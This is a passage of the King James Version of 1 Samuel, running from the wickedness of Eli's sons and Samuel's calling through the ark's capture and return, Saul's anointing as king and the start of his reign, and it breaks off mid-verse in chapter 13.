unto the LORD before Eli the priest. + +2:12 Now the sons of Eli were sons of Belial; they knew not the LORD. + +2:13 And the priest's custom with the people was, that, when any man +offered sacrifice, the priest's servant came, while the flesh was in +seething, with a fleshhook of three teeth in his hand; 2:14 And he +struck it into the pan, or kettle, or caldron, or pot; all that the +fleshhook brought up the priest took for himself. So they did in +Shiloh unto all the Israelites that came thither. + +2:15 Also before they burnt the fat, the priest's servant came, and +said to the man that sacrificed, Give flesh to roast for the priest; +for he will not have sodden flesh of thee, but raw. + +2:16 And if any man said unto him, Let them not fail to burn the fat +presently, and then take as much as thy soul desireth; then he would +answer him, Nay; but thou shalt give it me now: and if not, I will +take it by force. + +2:17 Wherefore the sin of the young men was very great before the +LORD: for men abhorred the offering of the LORD. + +2:18 But Samuel ministered before the LORD, being a child, girded with +a linen ephod. + +2:19 Moreover his mother made him a little coat, and brought it to him +from year to year, when she came up with her husband to offer the +yearly sacrifice. + +2:20 And Eli blessed Elkanah and his wife, and said, The LORD give +thee seed of this woman for the loan which is lent to the LORD. And +they went unto their own home. + +2:21 And the LORD visited Hannah, so that she conceived, and bare +three sons and two daughters. And the child Samuel grew before the +LORD. + +2:22 Now Eli was very old, and heard all that his sons did unto all +Israel; and how they lay with the women that assembled at the door of +the tabernacle of the congregation. + +2:23 And he said unto them, Why do ye such things? for I hear of your +evil dealings by all this people. + +2:24 Nay, my sons; for it is no good report that I hear: ye make the +LORD's people to transgress. + +2:25 If one man sin against another, the judge shall judge him: but if +a man sin against the LORD, who shall intreat for him? Notwithstanding +they hearkened not unto the voice of their father, because the LORD +would slay them. + +2:26 And the child Samuel grew on, and was in favour both with the +LORD, and also with men. + +2:27 And there came a man of God unto Eli, and said unto him, Thus +saith the LORD, Did I plainly appear unto the house of thy father, +when they were in Egypt in Pharaoh's house? 2:28 And did I choose him +out of all the tribes of Israel to be my priest, to offer upon mine +altar, to burn incense, to wear an ephod before me? and did I give +unto the house of thy father all the offerings made by fire of the +children of Israel? 2:29 Wherefore kick ye at my sacrifice and at +mine offering, which I have commanded in my habitation; and honourest +thy sons above me, to make yourselves fat with the chiefest of all the +offerings of Israel my people? 2:30 Wherefore the LORD God of Israel +saith, I said indeed that thy house, and the house of thy father, +should walk before me for ever: but now the LORD saith, Be it far from +me; for them that honour me I will honour, and they that despise me +shall be lightly esteemed. + +2:31 Behold, the days come, that I will cut off thine arm, and the arm +of thy father's house, that there shall not be an old man in thine +house. + +2:32 And thou shalt see an enemy in my habitation, in all the wealth +which God shall give Israel: and there shall not be an old man in +thine house for ever. + +2:33 And the man of thine, whom I shall not cut off from mine altar, +shall be to consume thine eyes, and to grieve thine heart: and all the +increase of thine house shall die in the flower of their age. + +2:34 And this shall be a sign unto thee, that shall come upon thy two +sons, on Hophni and Phinehas; in one day they shall die both of them. + +2:35 And I will raise me up a faithful priest, that shall do according +to that which is in mine heart and in my mind: and I will build him a +sure house; and he shall walk before mine anointed for ever. + +2:36 And it shall come to pass, that every one that is left in thine +house shall come and crouch to him for a piece of silver and a morsel +of bread, and shall say, Put me, I pray thee, into one of the priests' +offices, that I may eat a piece of bread. + +3:1 And the child Samuel ministered unto the LORD before Eli. And the +word of the LORD was precious in those days; there was no open vision. + +3:2 And it came to pass at that time, when Eli was laid down in his +place, and his eyes began to wax dim, that he could not see; 3:3 And +ere the lamp of God went out in the temple of the LORD, where the ark +of God was, and Samuel was laid down to sleep; 3:4 That the LORD +called Samuel: and he answered, Here am I. + +3:5 And he ran unto Eli, and said, Here am I; for thou calledst me. +And he said, I called not; lie down again. And he went and lay down. + +3:6 And the LORD called yet again, Samuel. And Samuel arose and went +to Eli, and said, Here am I; for thou didst call me. And he answered, +I called not, my son; lie down again. + +3:7 Now Samuel did not yet know the LORD, neither was the word of the +LORD yet revealed unto him. + +3:8 And the LORD called Samuel again the third time. And he arose and +went to Eli, and said, Here am I; for thou didst call me. And Eli +perceived that the LORD had called the child. + +3:9 Therefore Eli said unto Samuel, Go, lie down: and it shall be, if +he call thee, that thou shalt say, Speak, LORD; for thy servant +heareth. So Samuel went and lay down in his place. + +3:10 And the LORD came, and stood, and called as at other times, +Samuel, Samuel. Then Samuel answered, Speak; for thy servant heareth. + +3:11 And the LORD said to Samuel, Behold, I will do a thing in Israel, +at which both the ears of every one that heareth it shall tingle. + +3:12 In that day I will perform against Eli all things which I have +spoken concerning his house: when I begin, I will also make an end. + +3:13 For I have told him that I will judge his house for ever for the +iniquity which he knoweth; because his sons made themselves vile, and +he restrained them not. + +3:14 And therefore I have sworn unto the house of Eli, that the +iniquity of Eli's house shall not be purged with sacrifice nor +offering for ever. + +3:15 And Samuel lay until the morning, and opened the doors of the +house of the LORD. And Samuel feared to shew Eli the vision. + +3:16 Then Eli called Samuel, and said, Samuel, my son. And he +answered, Here am I. + +3:17 And he said, What is the thing that the LORD hath said unto thee? +I pray thee hide it not from me: God do so to thee, and more also, if +thou hide any thing from me of all the things that he said unto thee. + +3:18 And Samuel told him every whit, and hid nothing from him. And he +said, It is the LORD: let him do what seemeth him good. + +3:19 And Samuel grew, and the LORD was with him, and did let none of +his words fall to the ground. + +3:20 And all Israel from Dan even to Beersheba knew that Samuel was +established to be a prophet of the LORD. + +3:21 And the LORD appeared again in Shiloh: for the LORD revealed +himself to Samuel in Shiloh by the word of the LORD. + +4:1 And the word of Samuel came to all Israel. Now Israel went out +against the Philistines to battle, and pitched beside Ebenezer: and +the Philistines pitched in Aphek. + +4:2 And the Philistines put themselves in array against Israel: and +when they joined battle, Israel was smitten before the Philistines: +and they slew of the army in the field about four thousand men. + +4:3 And when the people were come into the camp, the elders of Israel +said, Wherefore hath the LORD smitten us to day before the +Philistines? Let us fetch the ark of the covenant of the LORD out of +Shiloh unto us, that, when it cometh among us, it may save us out of +the hand of our enemies. + +4:4 So the people sent to Shiloh, that they might bring from thence +the ark of the covenant of the LORD of hosts, which dwelleth between +the cherubims: and the two sons of Eli, Hophni and Phinehas, were +there with the ark of the covenant of God. + +4:5 And when the ark of the covenant of the LORD came into the camp, +all Israel shouted with a great shout, so that the earth rang again. + +4:6 And when the Philistines heard the noise of the shout, they said, +What meaneth the noise of this great shout in the camp of the Hebrews? +And they understood that the ark of the LORD was come into the camp. + +4:7 And the Philistines were afraid, for they said, God is come into +the camp. And they said, Woe unto us! for there hath not been such a +thing heretofore. + +4:8 Woe unto us! who shall deliver us out of the hand of these mighty +Gods? these are the Gods that smote the Egyptians with all the plagues +in the wilderness. + +4:9 Be strong and quit yourselves like men, O ye Philistines, that ye +be not servants unto the Hebrews, as they have been to you: quit +yourselves like men, and fight. + +4:10 And the Philistines fought, and Israel was smitten, and they fled +every man into his tent: and there was a very great slaughter; for +there fell of Israel thirty thousand footmen. + +4:11 And the ark of God was taken; and the two sons of Eli, Hophni and +Phinehas, were slain. + +4:12 And there ran a man of Benjamin out of the army, and came to +Shiloh the same day with his clothes rent, and with earth upon his +head. + +4:13 And when he came, lo, Eli sat upon a seat by the wayside +watching: for his heart trembled for the ark of God. And when the man +came into the city, and told it, all the city cried out. + +4:14 And when Eli heard the noise of the crying, he said, What meaneth +the noise of this tumult? And the man came in hastily, and told Eli. + +4:15 Now Eli was ninety and eight years old; and his eyes were dim, +that he could not see. + +4:16 And the man said unto Eli, I am he that came out of the army, and +I fled to day out of the army. And he said, What is there done, my +son? 4:17 And the messenger answered and said, Israel is fled before +the Philistines, and there hath been also a great slaughter among the +people, and thy two sons also, Hophni and Phinehas, are dead, and the +ark of God is taken. + +4:18 And it came to pass, when he made mention of the ark of God, that +he fell from off the seat backward by the side of the gate, and his +neck brake, and he died: for he was an old man, and heavy. And he had +judged Israel forty years. + +4:19 And his daughter in law, Phinehas' wife, was with child, near to +be delivered: and when she heard the tidings that the ark of God was +taken, and that her father in law and her husband were dead, she bowed +herself and travailed; for her pains came upon her. + +4:20 And about the time of her death the women that stood by her said +unto her, Fear not; for thou hast born a son. But she answered not, +neither did she regard it. + +4:21 And she named the child Ichabod, saying, The glory is departed +from Israel: because the ark of God was taken, and because of her +father in law and her husband. + +4:22 And she said, The glory is departed from Israel: for the ark of +God is taken. + +5:1 And the Philistines took the ark of God, and brought it from +Ebenezer unto Ashdod. + +5:2 When the Philistines took the ark of God, they brought it into the +house of Dagon, and set it by Dagon. + +5:3 And when they of Ashdod arose early on the morrow, behold, Dagon +was fallen upon his face to the earth before the ark of the LORD. And +they took Dagon, and set him in his place again. + +5:4 And when they arose early on the morrow morning, behold, Dagon was +fallen upon his face to the ground before the ark of the LORD; and the +head of Dagon and both the palms of his hands were cut off upon the +threshold; only the stump of Dagon was left to him. + +5:5 Therefore neither the priests of Dagon, nor any that come into +Dagon's house, tread on the threshold of Dagon in Ashdod unto this +day. + +5:6 But the hand of the LORD was heavy upon them of Ashdod, and he +destroyed them, and smote them with emerods, even Ashdod and the +coasts thereof. + +5:7 And when the men of Ashdod saw that it was so, they said, The ark +of the God of Israel shall not abide with us: for his hand is sore +upon us, and upon Dagon our god. + +5:8 They sent therefore and gathered all the lords of the Philistines +unto them, and said, What shall we do with the ark of the God of +Israel? And they answered, Let the ark of the God of Israel be carried +about unto Gath. And they carried the ark of the God of Israel about +thither. + +5:9 And it was so, that, after they had carried it about, the hand of +the LORD was against the city with a very great destruction: and he +smote the men of the city, both small and great, and they had emerods +in their secret parts. + +5:10 Therefore they sent the ark of God to Ekron. And it came to pass, +as the ark of God came to Ekron, that the Ekronites cried out, saying, +They have brought about the ark of the God of Israel to us, to slay us +and our people. + +5:11 So they sent and gathered together all the lords of the +Philistines, and said, Send away the ark of the God of Israel, and let +it go again to his own place, that it slay us not, and our people: for +there was a deadly destruction throughout all the city; the hand of +God was very heavy there. + +5:12 And the men that died not were smitten with the emerods: and the +cry of the city went up to heaven. + +6:1 And the ark of the LORD was in the country of the Philistines +seven months. + +6:2 And the Philistines called for the priests and the diviners, +saying, What shall we do to the ark of the LORD? tell us wherewith we +shall send it to his place. + +6:3 And they said, If ye send away the ark of the God of Israel, send +it not empty; but in any wise return him a trespass offering: then ye +shall be healed, and it shall be known to you why his hand is not +removed from you. + +6:4 Then said they, What shall be the trespass offering which we shall +return to him? They answered, Five golden emerods, and five golden +mice, according to the number of the lords of the Philistines: for one +plague was on you all, and on your lords. + +6:5 Wherefore ye shall make images of your emerods, and images of your +mice that mar the land; and ye shall give glory unto the God of +Israel: peradventure he will lighten his hand from off you, and from +off your gods, and from off your land. + +6:6 Wherefore then do ye harden your hearts, as the Egyptians and +Pharaoh hardened their hearts? when he had wrought wonderfully among +them, did they not let the people go, and they departed? 6:7 Now +therefore make a new cart, and take two milch kine, on which there +hath come no yoke, and tie the kine to the cart, and bring their +calves home from them: 6:8 And take the ark of the LORD, and lay it +upon the cart; and put the jewels of gold, which ye return him for a +trespass offering, in a coffer by the side thereof; and send it away, +that it may go. + +6:9 And see, if it goeth up by the way of his own coast to +Bethshemesh, then he hath done us this great evil: but if not, then we +shall know that it is not his hand that smote us: it was a chance that +happened to us. + +6:10 And the men did so; and took two milch kine, and tied them to the +cart, and shut up their calves at home: 6:11 And they laid the ark of +the LORD upon the cart, and the coffer with the mice of gold and the +images of their emerods. + +6:12 And the kine took the straight way to the way of Bethshemesh, and +went along the highway, lowing as they went, and turned not aside to +the right hand or to the left; and the lords of the Philistines went +after them unto the border of Bethshemesh. + +6:13 And they of Bethshemesh were reaping their wheat harvest in the +valley: and they lifted up their eyes, and saw the ark, and rejoiced +to see it. + +6:14 And the cart came into the field of Joshua, a Bethshemite, and +stood there, where there was a great stone: and they clave the wood of +the cart, and offered the kine a burnt offering unto the LORD. + +6:15 And the Levites took down the ark of the LORD, and the coffer +that was with it, wherein the jewels of gold were, and put them on the +great stone: and the men of Bethshemesh offered burnt offerings and +sacrificed sacrifices the same day unto the LORD. + +6:16 And when the five lords of the Philistines had seen it, they +returned to Ekron the same day. + +6:17 And these are the golden emerods which the Philistines returned +for a trespass offering unto the LORD; for Ashdod one, for Gaza one, +for Askelon one, for Gath one, for Ekron one; 6:18 And the golden +mice, according to the number of all the cities of the Philistines +belonging to the five lords, both of fenced cities, and of country +villages, even unto the great stone of Abel, whereon they set down the +ark of the LORD: which stone remaineth unto this day in the field of +Joshua, the Bethshemite. + +6:19 And he smote the men of Bethshemesh, because they had looked into +the ark of the LORD, even he smote of the people fifty thousand and +threescore and ten men: and the people lamented, because the LORD had +smitten many of the people with a great slaughter. + +6:20 And the men of Bethshemesh said, Who is able to stand before this +holy LORD God? and to whom shall he go up from us? 6:21 And they sent +messengers to the inhabitants of Kirjathjearim, saying, The +Philistines have brought again the ark of the LORD; come ye down, and +fetch it up to you. + +7:1 And the men of Kirjathjearim came, and fetched up the ark of the +LORD, and brought it into the house of Abinadab in the hill, and +sanctified Eleazar his son to keep the ark of the LORD. + +7:2 And it came to pass, while the ark abode in Kirjathjearim, that +the time was long; for it was twenty years: and all the house of +Israel lamented after the LORD. + +7:3 And Samuel spake unto all the house of Israel, saying, If ye do +return unto the LORD with all your hearts, then put away the strange +gods and Ashtaroth from among you, and prepare your hearts unto the +LORD, and serve him only: and he will deliver you out of the hand of +the Philistines. + +7:4 Then the children of Israel did put away Baalim and Ashtaroth, and +served the LORD only. + +7:5 And Samuel said, Gather all Israel to Mizpeh, and I will pray for +you unto the LORD. + +7:6 And they gathered together to Mizpeh, and drew water, and poured +it out before the LORD, and fasted on that day, and said there, We +have sinned against the LORD. And Samuel judged the children of Israel +in Mizpeh. + +7:7 And when the Philistines heard that the children of Israel were +gathered together to Mizpeh, the lords of the Philistines went up +against Israel. And when the children of Israel heard it, they were +afraid of the Philistines. + +7:8 And the children of Israel said to Samuel, Cease not to cry unto +the LORD our God for us, that he will save us out of the hand of the +Philistines. + +7:9 And Samuel took a sucking lamb, and offered it for a burnt +offering wholly unto the LORD: and Samuel cried unto the LORD for +Israel; and the LORD heard him. + +7:10 And as Samuel was offering up the burnt offering, the Philistines +drew near to battle against Israel: but the LORD thundered with a +great thunder on that day upon the Philistines, and discomfited them; +and they were smitten before Israel. + +7:11 And the men of Israel went out of Mizpeh, and pursued the +Philistines, and smote them, until they came under Bethcar. + +7:12 Then Samuel took a stone, and set it between Mizpeh and Shen, and +called the name of it Ebenezer, saying, Hitherto hath the LORD helped +us. + +7:13 So the Philistines were subdued, and they came no more into the +coast of Israel: and the hand of the LORD was against the Philistines +all the days of Samuel. + +7:14 And the cities which the Philistines had taken from Israel were +restored to Israel, from Ekron even unto Gath; and the coasts thereof +did Israel deliver out of the hands of the Philistines. And there was +peace between Israel and the Amorites. + +7:15 And Samuel judged Israel all the days of his life. + +7:16 And he went from year to year in circuit to Bethel, and Gilgal, +and Mizpeh, and judged Israel in all those places. + +7:17 And his return was to Ramah; for there was his house; and there +he judged Israel; and there he built an altar unto the LORD. + +8:1 And it came to pass, when Samuel was old, that he made his sons +judges over Israel. + +8:2 Now the name of his firstborn was Joel; and the name of his +second, Abiah: they were judges in Beersheba. + +8:3 And his sons walked not in his ways, but turned aside after lucre, +and took bribes, and perverted judgment. + +8:4 Then all the elders of Israel gathered themselves together, and +came to Samuel unto Ramah, 8:5 And said unto him, Behold, thou art +old, and thy sons walk not in thy ways: now make us a king to judge us +like all the nations. + +8:6 But the thing displeased Samuel, when they said, Give us a king to +judge us. And Samuel prayed unto the LORD. + +8:7 And the LORD said unto Samuel, Hearken unto the voice of the +people in all that they say unto thee: for they have not rejected +thee, but they have rejected me, that I should not reign over them. + +8:8 According to all the works which they have done since the day that +I brought them up out of Egypt even unto this day, wherewith they have +forsaken me, and served other gods, so do they also unto thee. + +8:9 Now therefore hearken unto their voice: howbeit yet protest +solemnly unto them, and shew them the manner of the king that shall +reign over them. + +8:10 And Samuel told all the words of the LORD unto the people that +asked of him a king. + +8:11 And he said, This will be the manner of the king that shall reign +over you: He will take your sons, and appoint them for himself, for +his chariots, and to be his horsemen; and some shall run before his +chariots. + +8:12 And he will appoint him captains over thousands, and captains +over fifties; and will set them to ear his ground, and to reap his +harvest, and to make his instruments of war, and instruments of his +chariots. + +8:13 And he will take your daughters to be confectionaries, and to be +cooks, and to be bakers. + +8:14 And he will take your fields, and your vineyards, and your +oliveyards, even the best of them, and give them to his servants. + +8:15 And he will take the tenth of your seed, and of your vineyards, +and give to his officers, and to his servants. + +8:16 And he will take your menservants, and your maidservants, and +your goodliest young men, and your asses, and put them to his work. + +8:17 He will take the tenth of your sheep: and ye shall be his +servants. + +8:18 And ye shall cry out in that day because of your king which ye +shall have chosen you; and the LORD will not hear you in that day. + +8:19 Nevertheless the people refused to obey the voice of Samuel; and +they said, Nay; but we will have a king over us; 8:20 That we also may +be like all the nations; and that our king may judge us, and go out +before us, and fight our battles. + +8:21 And Samuel heard all the words of the people, and he rehearsed +them in the ears of the LORD. + +8:22 And the LORD said to Samuel, Hearken unto their voice, and make +them a king. And Samuel said unto the men of Israel, Go ye every man +unto his city. + +9:1 Now there was a man of Benjamin, whose name was Kish, the son of +Abiel, the son of Zeror, the son of Bechorath, the son of Aphiah, a +Benjamite, a mighty man of power. + +9:2 And he had a son, whose name was Saul, a choice young man, and a +goodly: and there was not among the children of Israel a goodlier +person than he: from his shoulders and upward he was higher than any +of the people. + +9:3 And the asses of Kish Saul's father were lost. And Kish said to +Saul his son, Take now one of the servants with thee, and arise, go +seek the asses. + +9:4 And he passed through mount Ephraim, and passed through the land +of Shalisha, but they found them not: then they passed through the +land of Shalim, and there they were not: and he passed through the +land of the Benjamites, but they found them not. + +9:5 And when they were come to the land of Zuph, Saul said to his +servant that was with him, Come, and let us return; lest my father +leave caring for the asses, and take thought for us. + +9:6 And he said unto him, Behold now, there is in this city a man of +God, and he is an honourable man; all that he saith cometh surely to +pass: now let us go thither; peradventure he can shew us our way that +we should go. + +9:7 Then said Saul to his servant, But, behold, if we go, what shall +we bring the man? for the bread is spent in our vessels, and there is +not a present to bring to the man of God: what have we? 9:8 And the +servant answered Saul again, and said, Behold, I have here at hand the +fourth part of a shekel of silver: that will I give to the man of God, +to tell us our way. + +9:9 (Beforetime in Israel, when a man went to enquire of God, thus he +spake, Come, and let us go to the seer: for he that is now called a +Prophet was beforetime called a Seer.) 9:10 Then said Saul to his +servant, Well said; come, let us go. So they went unto the city where +the man of God was. + +9:11 And as they went up the hill to the city, they found young +maidens going out to draw water, and said unto them, Is the seer here? +9:12 And they answered them, and said, He is; behold, he is before +you: make haste now, for he came to day to the city; for there is a +sacrifice of the people to day in the high place: 9:13 As soon as ye +be come into the city, ye shall straightway find him, before he go up +to the high place to eat: for the people will not eat until he come, +because he doth bless the sacrifice; and afterwards they eat that be +bidden. Now therefore get you up; for about this time ye shall find +him. + +9:14 And they went up into the city: and when they were come into the +city, behold, Samuel came out against them, for to go up to the high +place. + +9:15 Now the LORD had told Samuel in his ear a day before Saul came, +saying, 9:16 To morrow about this time I will send thee a man out of +the land of Benjamin, and thou shalt anoint him to be captain over my +people Israel, that he may save my people out of the hand of the +Philistines: for I have looked upon my people, because their cry is +come unto me. + +9:17 And when Samuel saw Saul, the LORD said unto him, Behold the man +whom I spake to thee of! this same shall reign over my people. + +9:18 Then Saul drew near to Samuel in the gate, and said, Tell me, I +pray thee, where the seer's house is. + +9:19 And Samuel answered Saul, and said, I am the seer: go up before +me unto the high place; for ye shall eat with me to day, and to morrow +I will let thee go, and will tell thee all that is in thine heart. + +9:20 And as for thine asses that were lost three days ago, set not thy +mind on them; for they are found. And on whom is all the desire of +Israel? Is it not on thee, and on all thy father's house? 9:21 And +Saul answered and said, Am not I a Benjamite, of the smallest of the +tribes of Israel? and my family the least of all the families of the +tribe of Benjamin? wherefore then speakest thou so to me? 9:22 And +Samuel took Saul and his servant, and brought them into the parlour, +and made them sit in the chiefest place among them that were bidden, +which were about thirty persons. + +9:23 And Samuel said unto the cook, Bring the portion which I gave +thee, of which I said unto thee, Set it by thee. + +9:24 And the cook took up the shoulder, and that which was upon it, +and set it before Saul. And Samuel said, Behold that which is left! +set it before thee, and eat: for unto this time hath it been kept for +thee since I said, I have invited the people. So Saul did eat with +Samuel that day. + +9:25 And when they were come down from the high place into the city, +Samuel communed with Saul upon the top of the house. + +9:26 And they arose early: and it came to pass about the spring of the +day, that Samuel called Saul to the top of the house, saying, Up, that +I may send thee away. And Saul arose, and they went out both of them, +he and Samuel, abroad. + +9:27 And as they were going down to the end of the city, Samuel said +to Saul, Bid the servant pass on before us, (and he passed on), but +stand thou still a while, that I may shew thee the word of God. + +10:1 Then Samuel took a vial of oil, and poured it upon his head, and +kissed him, and said, Is it not because the LORD hath anointed thee to +be captain over his inheritance? 10:2 When thou art departed from me +to day, then thou shalt find two men by Rachel's sepulchre in the +border of Benjamin at Zelzah; and they will say unto thee, The asses +which thou wentest to seek are found: and, lo, thy father hath left +the care of the asses, and sorroweth for you, saying, What shall I do +for my son? 10:3 Then shalt thou go on forward from thence, and thou +shalt come to the plain of Tabor, and there shall meet thee three men +going up to God to Bethel, one carrying three kids, and another +carrying three loaves of bread, and another carrying a bottle of wine: +10:4 And they will salute thee, and give thee two loaves of bread; +which thou shalt receive of their hands. + +10:5 After that thou shalt come to the hill of God, where is the +garrison of the Philistines: and it shall come to pass, when thou art +come thither to the city, that thou shalt meet a company of prophets +coming down from the high place with a psaltery, and a tabret, and a +pipe, and a harp, before them; and they shall prophesy: 10:6 And the +Spirit of the LORD will come upon thee, and thou shalt prophesy with +them, and shalt be turned into another man. + +10:7 And let it be, when these signs are come unto thee, that thou do +as occasion serve thee; for God is with thee. + +10:8 And thou shalt go down before me to Gilgal; and, behold, I will +come down unto thee, to offer burnt offerings, and to sacrifice +sacrifices of peace offerings: seven days shalt thou tarry, till I +come to thee, and shew thee what thou shalt do. + +10:9 And it was so, that when he had turned his back to go from +Samuel, God gave him another heart: and all those signs came to pass +that day. + +10:10 And when they came thither to the hill, behold, a company of +prophets met him; and the Spirit of God came upon him, and he +prophesied among them. + +10:11 And it came to pass, when all that knew him beforetime saw that, +behold, he prophesied among the prophets, then the people said one to +another, What is this that is come unto the son of Kish? Is Saul also +among the prophets? 10:12 And one of the same place answered and +said, But who is their father? Therefore it became a proverb, Is Saul +also among the prophets? 10:13 And when he had made an end of +prophesying, he came to the high place. + +10:14 And Saul's uncle said unto him and to his servant, Whither went +ye? And he said, To seek the asses: and when we saw that they were no +where, we came to Samuel. + +10:15 And Saul's uncle said, Tell me, I pray thee, what Samuel said +unto you. + +10:16 And Saul said unto his uncle, He told us plainly that the asses +were found. But of the matter of the kingdom, whereof Samuel spake, he +told him not. + +10:17 And Samuel called the people together unto the LORD to Mizpeh; +10:18 And said unto the children of Israel, Thus saith the LORD God of +Israel, I brought up Israel out of Egypt, and delivered you out of the +hand of the Egyptians, and out of the hand of all kingdoms, and of +them that oppressed you: 10:19 And ye have this day rejected your God, +who himself saved you out of all your adversities and your +tribulations; and ye have said unto him, Nay, but set a king over us. +Now therefore present yourselves before the LORD by your tribes, and +by your thousands. + +10:20 And when Samuel had caused all the tribes of Israel to come +near, the tribe of Benjamin was taken. + +10:21 When he had caused the tribe of Benjamin to come near by their +families, the family of Matri was taken, and Saul the son of Kish was +taken: and when they sought him, he could not be found. + +10:22 Therefore they enquired of the LORD further, if the man should +yet come thither. And the LORD answered, Behold he hath hid himself +among the stuff. + +10:23 And they ran and fetched him thence: and when he stood among the +people, he was higher than any of the people from his shoulders and +upward. + +10:24 And Samuel said to all the people, See ye him whom the LORD hath +chosen, that there is none like him among all the people? And all the +people shouted, and said, God save the king. + +10:25 Then Samuel told the people the manner of the kingdom, and wrote +it in a book, and laid it up before the LORD. And Samuel sent all the +people away, every man to his house. + +10:26 And Saul also went home to Gibeah; and there went with him a +band of men, whose hearts God had touched. + +10:27 But the children of Belial said, How shall this man save us? And +they despised him, and brought no presents. But he held his peace. + +11:1 Then Nahash the Ammonite came up, and encamped against +Jabeshgilead: and all the men of Jabesh said unto Nahash, Make a +covenant with us, and we will serve thee. + +11:2 And Nahash the Ammonite answered them, On this condition will I +make a covenant with you, that I may thrust out all your right eyes, +and lay it for a reproach upon all Israel. + +11:3 And the elders of Jabesh said unto him, Give us seven days' +respite, that we may send messengers unto all the coasts of Israel: +and then, if there be no man to save us, we will come out to thee. + +11:4 Then came the messengers to Gibeah of Saul, and told the tidings +in the ears of the people: and all the people lifted up their voices, +and wept. + +11:5 And, behold, Saul came after the herd out of the field; and Saul +said, What aileth the people that they weep? And they told him the +tidings of the men of Jabesh. + +11:6 And the Spirit of God came upon Saul when he heard those tidings, +and his anger was kindled greatly. + +11:7 And he took a yoke of oxen, and hewed them in pieces, and sent +them throughout all the coasts of Israel by the hands of messengers, +saying, Whosoever cometh not forth after Saul and after Samuel, so +shall it be done unto his oxen. And the fear of the LORD fell on the +people, and they came out with one consent. + +11:8 And when he numbered them in Bezek, the children of Israel were +three hundred thousand, and the men of Judah thirty thousand. + +11:9 And they said unto the messengers that came, Thus shall ye say +unto the men of Jabeshgilead, To morrow, by that time the sun be hot, +ye shall have help. And the messengers came and shewed it to the men +of Jabesh; and they were glad. + +11:10 Therefore the men of Jabesh said, To morrow we will come out +unto you, and ye shall do with us all that seemeth good unto you. + +11:11 And it was so on the morrow, that Saul put the people in three +companies; and they came into the midst of the host in the morning +watch, and slew the Ammonites until the heat of the day: and it came +to pass, that they which remained were scattered, so that two of them +were not left together. + +11:12 And the people said unto Samuel, Who is he that said, Shall Saul +reign over us? bring the men, that we may put them to death. + +11:13 And Saul said, There shall not a man be put to death this day: +for to day the LORD hath wrought salvation in Israel. + +11:14 Then said Samuel to the people, Come, and let us go to Gilgal, +and renew the kingdom there. + +11:15 And all the people went to Gilgal; and there they made Saul king +before the LORD in Gilgal; and there they sacrificed sacrifices of +peace offerings before the LORD; and there Saul and all the men of +Israel rejoiced greatly. + +12:1 And Samuel said unto all Israel, Behold, I have hearkened unto +your voice in all that ye said unto me, and have made a king over you. + +12:2 And now, behold, the king walketh before you: and I am old and +grayheaded; and, behold, my sons are with you: and I have walked +before you from my childhood unto this day. + +12:3 Behold, here I am: witness against me before the LORD, and before +his anointed: whose ox have I taken? or whose ass have I taken? or +whom have I defrauded? whom have I oppressed? or of whose hand have I +received any bribe to blind mine eyes therewith? and I will restore it +you. + +12:4 And they said, Thou hast not defrauded us, nor oppressed us, +neither hast thou taken ought of any man's hand. + +12:5 And he said unto them, The LORD is witness against you, and his +anointed is witness this day, that ye have not found ought in my hand. +And they answered, He is witness. + +12:6 And Samuel said unto the people, It is the LORD that advanced +Moses and Aaron, and that brought your fathers up out of the land of +Egypt. + +12:7 Now therefore stand still, that I may reason with you before the +LORD of all the righteous acts of the LORD, which he did to you and to +your fathers. + +12:8 When Jacob was come into Egypt, and your fathers cried unto the +LORD, then the LORD sent Moses and Aaron, which brought forth your +fathers out of Egypt, and made them dwell in this place. + +12:9 And when they forgat the LORD their God, he sold them into the +hand of Sisera, captain of the host of Hazor, and into the hand of the +Philistines, and into the hand of the king of Moab, and they fought +against them. + +12:10 And they cried unto the LORD, and said, We have sinned, because +we have forsaken the LORD, and have served Baalim and Ashtaroth: but +now deliver us out of the hand of our enemies, and we will serve thee. + +12:11 And the LORD sent Jerubbaal, and Bedan, and Jephthah, and +Samuel, and delivered you out of the hand of your enemies on every +side, and ye dwelled safe. + +12:12 And when ye saw that Nahash the king of the children of Ammon +came against you, ye said unto me, Nay; but a king shall reign over +us: when the LORD your God was your king. + +12:13 Now therefore behold the king whom ye have chosen, and whom ye +have desired! and, behold, the LORD hath set a king over you. + +12:14 If ye will fear the LORD, and serve him, and obey his voice, and +not rebel against the commandment of the LORD, then shall both ye and +also the king that reigneth over you continue following the LORD your +God: 12:15 But if ye will not obey the voice of the LORD, but rebel +against the commandment of the LORD, then shall the hand of the LORD +be against you, as it was against your fathers. + +12:16 Now therefore stand and see this great thing, which the LORD +will do before your eyes. + +12:17 Is it not wheat harvest to day? I will call unto the LORD, and +he shall send thunder and rain; that ye may perceive and see that your +wickedness is great, which ye have done in the sight of the LORD, in +asking you a king. + +12:18 So Samuel called unto the LORD; and the LORD sent thunder and +rain that day: and all the people greatly feared the LORD and Samuel. + +12:19 And all the people said unto Samuel, Pray for thy servants unto +the LORD thy God, that we die not: for we have added unto all our sins +this evil, to ask us a king. + +12:20 And Samuel said unto the people, Fear not: ye have done all this +wickedness: yet turn not aside from following the LORD, but serve the +LORD with all your heart; 12:21 And turn ye not aside: for then should +ye go after vain things, which cannot profit nor deliver; for they are +vain. + +12:22 For the LORD will not forsake his people for his great name's +sake: because it hath pleased the LORD to make you his people. + +12:23 Moreover as for me, God forbid that I should sin against the +LORD in ceasing to pray for you: but I will teach you the good and the +right way: 12:24 Only fear the LORD, and serve him in truth with all +your heart: for consider how great things he hath done for you. + +12:25 But if ye shall still do wickedly, ye shall be consumed, both ye +and your king. + +13:1 Saul reigned one year; and when he had reigned two years over +Israel, 13:2 Saul chose him three thousand men of Israel; whereof two +thousand were with Saul in Michmash and in mount Bethel, and a +thousand were with Jonathan in Gibeah of Benjamin: and the rest of the +people he sent every man to his tent. + +13:3 And Jonathan smote the garrison of the Philistines that was in +Geba, and the Philistines heard of it. And Saul blew the trumpet +throughout all the land, saying, Let the Hebrews hear. + +13:4 And all Israel heard say that Saul had smitten a garrison of the +Philistines, and that Israel also was had in abomination with the +Philistines. And the people were called together after Saul to Gilgal. + +13:5 And the Philistines gathered themselves together to fight with +Israel, thirty thousand chariots, and six thousand horsemen, and +people as the sand which is on the sea shore in multitude: and they +came up, and pitched in Michmash, eastward from Bethaven. + +13:6 When the men of Israel saw that they were in a strait, (for the +people were distressed,) then the people did hide themselves in caves, +and in thickets, and in rocks, and in high places, and in pits. + +13:7 And some of the Hebrews went over Jordan to the land of Gad and +Gilead. As for Saul, he was yet in Gilgal, and all the people followed +him trembling. + +13:8 And he tarried seven days, 